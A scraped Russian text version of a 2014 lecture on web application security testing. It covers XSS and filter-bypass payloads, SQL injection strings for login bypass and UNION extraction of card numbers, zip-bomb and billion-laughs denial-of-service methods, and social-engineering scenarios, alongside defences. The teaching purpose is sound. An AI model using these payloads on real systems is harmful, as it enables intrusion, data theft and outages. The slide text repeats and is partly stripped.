Скачать презентацию Курс Основы тестирования ПО Лекция 4 Тестирование Скачать презентацию Курс Основы тестирования ПО Лекция 4 Тестирование

Докучаев. Основы тестирования ПО - Лекция #4.pptx

  • Количество слайдов: 94

Курс «Основы тестирования ПО» Лекция № 4 «Тестирование безопасности вебприложений» Докучаев Сергей / руководитель Курс «Основы тестирования ПО» Лекция № 4 «Тестирование безопасности вебприложений» Докучаев Сергей / руководитель группы нефункционального тестирования/ Тензор, 2014

Вводная 2 Вводная 2

Вводная 3 Вводная 3

Вводная Стив Возняк Вместе с Джобсом занимались фрикерством в промышленных масштабах 4 Вводная Стив Возняк Вместе с Джобсом занимались фрикерством в промышленных масштабах 4

Вводная 5 Вводная 5

Вводная Mendax NASA, Пентагон, множество военных систем США, Motorola, Xerox, Panasoniс, банковские системы Отделался Вводная Mendax NASA, Пентагон, множество военных систем США, Motorola, Xerox, Panasoniс, банковские системы Отделался административным штрафом 6

Вводная 7 Вводная 7

Вводная Кевин Митник Самый знаменитый хулиган и тролль в хакерском мире 80 -90 -х Вводная Кевин Митник Самый знаменитый хулиган и тролль в хакерском мире 80 -90 -х Несколько раз сидел в тюрьме 8

Вводная Любой подросток, начитавшийся журнала «Хакер» • • • умеет запускать программы читать профильные Вводная Любой подросток, начитавшийся журнала «Хакер» • • • умеет запускать программы читать профильные форумы по времени ограничен только мамой 9

Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер 5. POC (Proof Of Concept) 10

Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер 5. POC (Proof Of Concept) 11

Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер 5. POC (Proof Of Concept) 12

Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер 5. POC (Proof Of Concept) 13

Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер Термины 1. Компьютерная безопасность 2. Тестирование безопасности веб-приложений 3. Тестирование на проникновение 4. Хакер 5. POC (Proof Of Concept) 14

Вводная • Крупные сайты подвергаются различным атакам ежедневно. • Как правило прямые атаки не Вводная • Крупные сайты подвергаются различным атакам ежедневно. • Как правило прямые атаки не срабатывают • Однако, взлом даже очень защищённых сайтов – не редкость • Обычно хакеры используют цепочку из небольших уязвимостей, которых сложно избежать, что бы провести успешную атаку 15

Вводная Что будет сегодня: 1. XSS – принципы, тестирование, защита 2. SQL Injection – Вводная Что будет сегодня: 1. XSS – принципы, тестирование, защита 2. SQL Injection – принципы, примеры эксплуатации 3. DOS атаки 4. Социальная инженерия 16

Вводная Источники информации: OWASP Testing Guide: https: //www. owasp. org/index. php/OWASP_Testing_Guide_v 4_Table_of_Contents 17 Вводная Источники информации: OWASP Testing Guide: https: //www. owasp. org/index. php/OWASP_Testing_Guide_v 4_Table_of_Contents 17

Вводная OWASP Top Ten 2013: A 1 Injection A 2 Broken Authentication and Session Вводная OWASP Top Ten 2013: A 1 Injection A 2 Broken Authentication and Session Management A 3 Cross-Site Scripting (XSS) A 4 Insecure Direct Object References A 5 Security Misconfiguration A 6 Sensitive Data Exposure A 7 Missing Function Level Access Control A 8 Cross-Site Request Forgery (CSRF) A 9 Using Components with Known Vulnerabilities A 10 Unvalidated Redirects and Forwards 18

XSS 19 XSS 19

XSS (Cross Site Scripting) – уязвимость, позволяющая атакующему внедрять скрипты на страницы, которые просматривают XSS (Cross Site Scripting) – уязвимость, позволяющая атакующему внедрять скрипты на страницы, которые просматривают другие пользователи. Как минимум треть сайтов в сети уязвимо через XSS Самая недооценённая уязвимость, т. к. идёт атака на пользователя Два основных типа: отраженная и хранимая 20

XSS Reflected XSS Жертва Уязвимый сайт Атакующий 21 XSS Reflected XSS Жертва Уязвимый сайт Атакующий 21

XSS Reflected XSS Атакующий провоцирует жертву на переход по ссылке, в которой содержится скрипт XSS Reflected XSS Атакующий провоцирует жертву на переход по ссылке, в которой содержится скрипт 22

XSS Reflected XSS Жертва переходит по ссылке, по которой открывается страница уязвимого сайта 23 XSS Reflected XSS Жертва переходит по ссылке, по которой открывается страница уязвимого сайта 23

XSS Reflected XSS Жертва получает страницу, на которой срабатывает код атакующего 24 XSS Reflected XSS Жертва получает страницу, на которой срабатывает код атакующего 24

XSS Reflected XSS Атакующий получает приватные данные жертвы 25 XSS Reflected XSS Атакующий получает приватные данные жертвы 25

XSS 26 XSS 26

XSS 27 XSS 27

XSS 28 XSS 28

XSS 29 XSS 29

XSS 30 XSS 30

XSS 31 XSS 31

XSS Stored XSS Жертва Уязвимый сайт Атакующий 32 XSS Stored XSS Жертва Уязвимый сайт Атакующий 32

XSS Stored XSS Злоумышленник передаёт данные на сайт, где они сохраняются 33 XSS Stored XSS Злоумышленник передаёт данные на сайт, где они сохраняются 33

XSS Stored XSS Жертва открывает сайт, выполняя код 34 XSS Stored XSS Жертва открывает сайт, выполняя код 34

XSS Stored XSS Приватные данные уходят к злоумышленнику 35 XSS Stored XSS Приватные данные уходят к злоумышленнику 35

XSS Как тестировать: 1. Определяем все входные параметры 2. Передаём в качестве значения параметра XSS Как тестировать: 1. Определяем все входные параметры 2. Передаём в качестве значения параметра код: 3. Открываем страницу, на которой выводится значение параметра 4. Проверяем, что инъекция не сработала 36

Литература Примеры XSS 37 Литература Примеры XSS 37

XSS Пример тестирования, если есть защита: 1. Java. Script чувствителен к регистру и разработчик XSS Пример тестирования, если есть защита: 1. Java. Script чувствителен к регистру и разработчик может решить защититься переведя все символы в заглавные: 2. Тогда мы можем сделать так: 38

XSS Пример тестирования, если есть защита: 1. Разработчик решает просто вырезать символ “<” 2. XSS Пример тестирования, если есть защита: 1. Разработчик решает просто вырезать символ “<” 2. Тогда мы можем закодировать скрипт так: %3 cscript src=http: //www. example. com/malicious-code. js%3 e%3 c/script%3 e x 3 cscript src=http: //www. example. com/malicious-code. jsx 3 ex 3 c/scriptx 3 e 39

XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: <script>snippet</script> 2. XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так: snippetsnippet 40

XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: <script>snippet</script> 2. XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так: 41

XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: <script>snippet</script> 2. XSS Пример тестирования, если есть защита: 1. Разработчик решил вырезать все подстроки: 2. Тогда мы можем сделать так: 42

XSS Как предотвратить? Для того, что бы было проще понимать механизмы предотвращения XSS, стоит XSS Как предотвратить? Для того, что бы было проще понимать механизмы предотвращения XSS, стоит представлять себе любую страницу сайта как множество различных слотов. А все данные делить на доверенные и не доверенные. Доверенные данные мы сами формируем, а не доверенные нам передают извне. 43

XSS Как предотвратить? <div> <span></span> <span name='test 12'></span> <span></span> Текст</span> <span></span> <span name='test 34'> XSS Как предотвратить?

Текст
44

XSS Как предотвратить? <div> <span></span> <span name='test 12'></span> <span>Текст</span> <span></span> <span name='test 34'> <div></div> XSS Как предотвратить?

Текст
45

XSS Как предотвратить? <div> <span></span> <span name='test 12'></span> <span>Текст</span> Слот <span></span> <span name='test 34'> XSS Как предотвратить?

Текст Слот
46

XSS Как предотвратить? <div> <span></span> <span name='test 12'></span> <span>Текст</span> <span></span> <span name ='test 34'> XSS Как предотвратить?

Текст
47

XSS Как предотвратить? Правило № 1 Никогда не вставлять данные, которым мы не доверяем XSS Как предотвратить? Правило № 1 Никогда не вставлять данные, которым мы не доверяем (получаем от пользователя) в следующие места: <- напрямую в скрипт <- в HTML комментарий <- в имя аттрибута <. . . user_data. . . href="/test" /> <- в имя тэга <- напрямую в CSS 48

XSS Как предотвратить? Правило № 2 Для остальных слотов эскейпим спецсимволы перед вставкой пользовательских XSS Как предотвратить? Правило № 2 Для остальных слотов эскейпим спецсимволы перед вставкой пользовательских данных: & < > " ' / --> --> --> & < > " &#x 27; &#x 2 F; 49

XSS Как предотвратить? Правило № 3 Использовать CSP (Content Security Policy) CSP – механизм, XSS Как предотвратить? Правило № 3 Использовать CSP (Content Security Policy) CSP – механизм, при котором сайт указывает браузеру откуда и какие ресурсы можно брать. Указывает при помощи хедера Content-Security-Policy: default-src: 'self'; script-src: 'self' static. domain. tld В настоящий момент не все браузеры поддерживают CSP (e. g. IE 10) CSP тоже можно обходить! 50

XSS Итого: • XSS очень распространён и сильно не дооценён • При тестировании требуется XSS Итого: • XSS очень распространён и сильно не дооценён • При тестировании требуется подобрать такие значения, при которых на атакуемой странице сработает скрипт • 99% защита состоит из контроля за тем куда вставляем и эскейпинга спецсимволов • Сканеры справляются плохо, нужна аналитика 51

SQL Injection 52 SQL Injection 52

SQL Injection – уязвимость, при которой вредоносный SQL код вставляется в исходный SQL код. SQL Injection – уязвимость, при которой вредоносный SQL код вставляется в исходный SQL код. Следовательно может возникать при следующих условиях: 1. Запросы составляются динамически 2. Сайт принимает не доверенные данные 53

SQL Injection БЛ Вебсервер Атакующий СУБД 54 SQL Injection БЛ Вебсервер Атакующий СУБД 54

SQL Injection БЛ Атакующий передаёт запрос с инъекцией на сервер Вебсервер Атакующий СУБД 55 SQL Injection БЛ Атакующий передаёт запрос с инъекцией на сервер Вебсервер Атакующий СУБД 55

SQL Injection Вебсервер передаёт данные в код БЛ Вебсервер Атакующий СУБД 56 SQL Injection Вебсервер передаёт данные в код БЛ Вебсервер Атакующий СУБД 56

SQL Injection БЛ Вебсервер Атакующий Из кода выполняется запрос в БД СУБД 57 SQL Injection БЛ Вебсервер Атакующий Из кода выполняется запрос в БД СУБД 57

SQL Injection БЛ Вебсервер Атакующий СУБД возвращает результат (записи или сообщение) СУБД 58 SQL Injection БЛ Вебсервер Атакующий СУБД возвращает результат (записи или сообщение) СУБД 58

SQL Injection БЛ Вебсервер Данные попадают к пользователю Атакующий СУБД 59 SQL Injection БЛ Вебсервер Данные попадают к пользователю Атакующий СУБД 59

SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры $username и $password мы получаем от пользователя Будем инжектить в эти параметры. 60

SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры SQL Injection Имеется SQL запрос: SELECT * FROM Users WHERE Username='$username' AND Password='$password' Параметры $username и $password мы получаем от пользователя Будем инжектить в эти параметры. 61

SQL Injection Наша задача – подобрать такие параметры, что бы при их вставке изначальный SQL Injection Наша задача – подобрать такие параметры, что бы при их вставке изначальный запрос преобразовался бы в запрос, который бы возвращал запись/записи из таблицы. $username = 1' or '1' = '1 $password = 1' or '1' = '1 62

SQL Injection Получаем в итоге такой запрос: SELECT * FROM Users WHERE Username='1' OR SQL Injection Получаем в итоге такой запрос: SELECT * FROM Users WHERE Username='1' OR '1' = '1' AND Password='1' OR '1' = '1' Который вероятно вернёт все записи с пользователями Если в коде была просто проверка на то, что запрос хоть что-то вернул, то мы проходим. 63

SQL Injection Что делать, если в коде идёт проверка на ровно один результат в SQL Injection Что делать, если в коде идёт проверка на ровно один результат в выборке? Нужно исключить второй параметр из запроса! $username = 1' or '1' = '1' LIMIT 1/* В этом случае мы ограничиваем число найденных записей одним и «комментарим» весь оставшийся запрос. 64

SQL Injection Что делать, если в коде идёт проверка на ровно один результат в SQL Injection Что делать, если в коде идёт проверка на ровно один результат в выборке? Нужно исключить второй параметр из запроса! $username = 1' or '1' = '1' LIMIT 1/* В этом случае мы ограничиваем число найденных записей одним и «комментарим» весь оставшийся запрос. 65

SQL Injection атаки можно разбить на три класса: 1. Внутрипоточные – данные передаются по SQL Injection атаки можно разбить на три класса: 1. Внутрипоточные – данные передаются по тому же каналу 2. Внепоточные – данные передаются по другому каналу (e. g. почта, скайп) 3. Слепые (данные не передаются) 66

SQL Injection Техники эксплуатации SQL Injection: 1. UNION – пытаемся с исходными данными зацепить SQL Injection Техники эксплуатации SQL Injection: 1. UNION – пытаемся с исходными данными зацепить произвольные 2. Boolean – при работе с булевыми значениями 3. Error-based – когда атакующий принимает решения в зависимости от ошибок, которые генерирует 4. Внепоточный – когда мы пытаемся получить данные используя другой канал 5. Time-delay – использование таких команд как sleep Техники можно комбинировать! 67

SQL Injection Техники эксплуатации SQL Injection: UNION Имеется такой запрос: SELECT Name, Phone, Address SQL Injection Техники эксплуатации SQL Injection: UNION Имеется такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=$id Выбираем такое значение $id, что бы у нас получился UNION запрос: $id=1 UNION ALL SELECT credit. Card. Number, 1, 1 FROM Credit. Card. Table В итоге получаем такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT credit. Card. Number, 1, 1 FROM Credit. Card. Table 68

SQL Injection Техники эксплуатации SQL Injection: UNION В итоге получаем такой запрос: SELECT Name, SQL Injection Техники эксплуатации SQL Injection: UNION В итоге получаем такой запрос: SELECT Name, Phone, Address FROM Users WHERE Id=1 UNION ALL SELECT credit. Card. Number, 1, 1 FROM Credit. Card. Table В результате мы получаем результат исходного запроса и все номера кредитных карточек. 69

SQL Injection Техники эксплуатации SQL Injection: UNION Проблема первая: мы не знаем сколько столбцов SQL Injection Техники эксплуатации SQL Injection: UNION Проблема первая: мы не знаем сколько столбцов указано в операторе SELECT Для того, что бы узнать это – используем ORDER BY: http: //www. example. com/product. php? id=10 ORDER BY 10— Если этот запрос выполнится успешно, значит в SELECT 10 или более столбцов. Сайт возможно выведет такое сообщение: Unknown column '10' in 'order clause' 70

SQL Injection Техники эксплуатации SQL Injection: UNION Проблема вторая: мы не знаем типы столбцов SQL Injection Техники эксплуатации SQL Injection: UNION Проблема вторая: мы не знаем типы столбцов Пробуем комбинацию из NULL и 1: http: //www. example. com/product. php? id=10 UNION SELECT 1, null— Если запрос успешно проходит, то вероятно первый тип столбца – integer Продолжаем далее 71

SQL Injection Процесс трудоёмкий, поэтому используем инструменты, которые облегчат нам работу! Два самых популярных SQL Injection Процесс трудоёмкий, поэтому используем инструменты, которые облегчат нам работу! Два самых популярных инструмента: sqlmap и Havij Демонстрация работы sqlmap 72

SQL Injection Способы защиты: 1. Параметризованные запросы 2. Хранимые процедуры 3. Проверка и экскейпинг SQL Injection Способы защиты: 1. Параметризованные запросы 2. Хранимые процедуры 3. Проверка и экскейпинг всех входных параметров 4. Урезаем права, под которыми выполняются запросы 73

DOS 74 DOS 74

DOS (от англ. Denial Of Service) – атака на отказ в обслуживании. DDOS (от DOS (от англ. Denial Of Service) – атака на отказ в обслуживании. DDOS (от англ. Distributed Denial Of Service) – распределённая атака на отказ в обслуживании. От первой можем защититься, от второй можем только отбить простейшие атаки. 100% защиты от DDOS в настоящий момент нет 75

DOS Визуализация DDOS атаки, прикрывающей SQL Injection атаку 76 DOS Визуализация DDOS атаки, прикрывающей SQL Injection атаку 76

DOS Атака на блокировку аккаунтов Если у нас есть авторизация => можем подобрать пароль DOS Атака на блокировку аккаунтов Если у нас есть авторизация => можем подобрать пароль Защита: при нескольких неправильно введённых паролях – блокировать аккаунт. Оборачиваем защиту против защитников: • подбираем список логинов • постоянно лочим все аккаунты с данными логинами Итого: пользователь не может войти с правильным логином и паролем 77

DOS Атака на сессию Если у нас есть возможность хранить какую-либо информацию в сессии DOS Атака на сессию Если у нас есть возможность хранить какую-либо информацию в сессии и есть возможность генерировать новые сессии, то мы можем исчерпать память или дисковое пространство генерируя большие объёмы сессий. Как тестировать: 1. Убеждаемся, что указанные условия выполняются 2. При помощи fuzzing атаки создаём как можно больше сессий 3. Контролируем состояние системы (не уменьшается ли свободные ресурсы) 78

DOS ZIP бомба Ищем место на сайте в котором на сервер передаётся архив, а DOS ZIP бомба Ищем место на сайте в котором на сервер передаётся архив, а далее уже на сервере этот архив распаковывается: • хостинг файлов для экономии места • антивирусы проверяющие файлы в архивах • документы, которые затем будут передаваться адресату • etc. Создаём очень большой файл (в несколько петабайт), который сохраняем в zip-архив. Отправляем получившийся файл на сервер и получаем переполнение памяти или отказ дисковой подсистемы. 79

DOS ZIP бомба 1. 2. 3. 4. Берём файл размером в 1 Гб, состоящий DOS ZIP бомба 1. 2. 3. 4. Берём файл размером в 1 Гб, состоящий из одних нулей. Пакуем его в zip-архив Создаём 10 копий полученного архива и пакуем их в новый архив Повторяем процесс 9 раз В итоге получаем архивный файл в сотню килобайт, который при итеративной распаковке становится размером примерно в 1 эксабайт. Для сравнения: в 2006 году на всём Земном шаре насчитывался приблизительно 161 эксабайт 80

DOS Миллиард улыбок Идея состоит в том, что бы атаковать xml-парсер, вынудив его создать DOS Миллиард улыбок Идея состоит в том, что бы атаковать xml-парсер, вынудив его создать из маленького файла большой. Эксплуатация: 1. Так же как и при zip-бомбе составляем подставную xml 2. Находим место на сайте, которое принимаем xml файлы, а далее их парсит 3. Передаём xml-файл 4. … 5. Profit 81

" src="https://present5.com/presentation/1/54685245_347124712.pdf-img/54685245_347124712.pdf-82.jpg" alt="DOS Миллиард улыбок " /> DOS Миллиард улыбок ]> &lol 9; 82

" src="https://present5.com/presentation/1/54685245_347124712.pdf-img/54685245_347124712.pdf-83.jpg" alt="DOS Миллиард улыбок " /> DOS Миллиард улыбок ]> &lol 9; 83

" src="https://present5.com/presentation/1/54685245_347124712.pdf-img/54685245_347124712.pdf-84.jpg" alt="DOS Миллиард улыбок " /> DOS Миллиард улыбок ]> &lol 9; 84

" src="https://present5.com/presentation/1/54685245_347124712.pdf-img/54685245_347124712.pdf-85.jpg" alt="DOS Миллиард улыбок " /> DOS Миллиард улыбок ]> &lol 9; 85

Социальная инженерия 86 Социальная инженерия 86

Социальная инженерия — метод несанкционированного доступа к информационным ресурсам основанный на особенностях психологии человека. Социальная инженерия — метод несанкционированного доступа к информационным ресурсам основанный на особенностях психологии человека. В отличии от других видов атак, в данной ситуации объектом является человек, пользователь системы. В отличии от технических видов атак, практически не претерпели изменений. 87

Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения с жертвой, а затем просим выполнить что-то потенциально вредное на атакуемой системе При это используется: 1. Создание выдуманной личности 2. Использование известной информации о жертве, коллегах, компании 3. Постепенное увеличение серьёзности просьб 88

Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения Социальная инженерия Претекстинг – метод социальной инженерии, при котором мы вначале выстраиваем доверительные отношения с жертвой, а затем просим выполнить что-то потенциально вредное на атакуемой системе Как защититься: использование строгой политики безопасности в компании 89

Социальная инженерия Фишинг – метод получения логина/пароля, при котором используется подставной сайт, который выдаёт Социальная инженерия Фишинг – метод получения логина/пароля, при котором используется подставной сайт, который выдаёт себя за другой. Методы защиты: • атнифишинг-плагины для браузеров • двухфакторная авторизация • антиспамфильтры • вывод персональной информации на страницах сайта 90

Социальная инженерия Quid pro quo (от лат. Quid pro quo — «то за это» Социальная инженерия Quid pro quo (от лат. Quid pro quo — «то за это» ) – услуга за услугу. Сценарий: 1. Звоним жертве и представляемся специалистом технической поддержки 2. Сообщаем о проблеме у пользователя и предлагаем помощь в решении 3. В процессе «решения» проблемы вынуждаем жертву раскрыть приватную информацию 91

Социальная инженерия Дорожное яблоко Сценарий: 1. В месте, где жертва часто бывает оставляем флэшку Социальная инженерия Дорожное яблоко Сценарий: 1. В месте, где жертва часто бывает оставляем флэшку с инфицированными файлами 2. Используем любопытство (наклеиваем логотип компании и пишем «Информация о доходах» ) 3. Жертва подбирает флэшку и открывает на корпоративном компьютере 4. … 5. Profit! 92

Вопросы есть? 93 Вопросы есть? 93

Спасибо за внимание! Докучаев Сергей Валерьевич / sv. dokuchaev@tensor. ru (4852) 262 -000 (доб. Спасибо за внимание! Докучаев Сергей Валерьевич / sv. dokuchaev@tensor. ru (4852) 262 -000 (доб. 3435) sbis. ru Разработка СБИС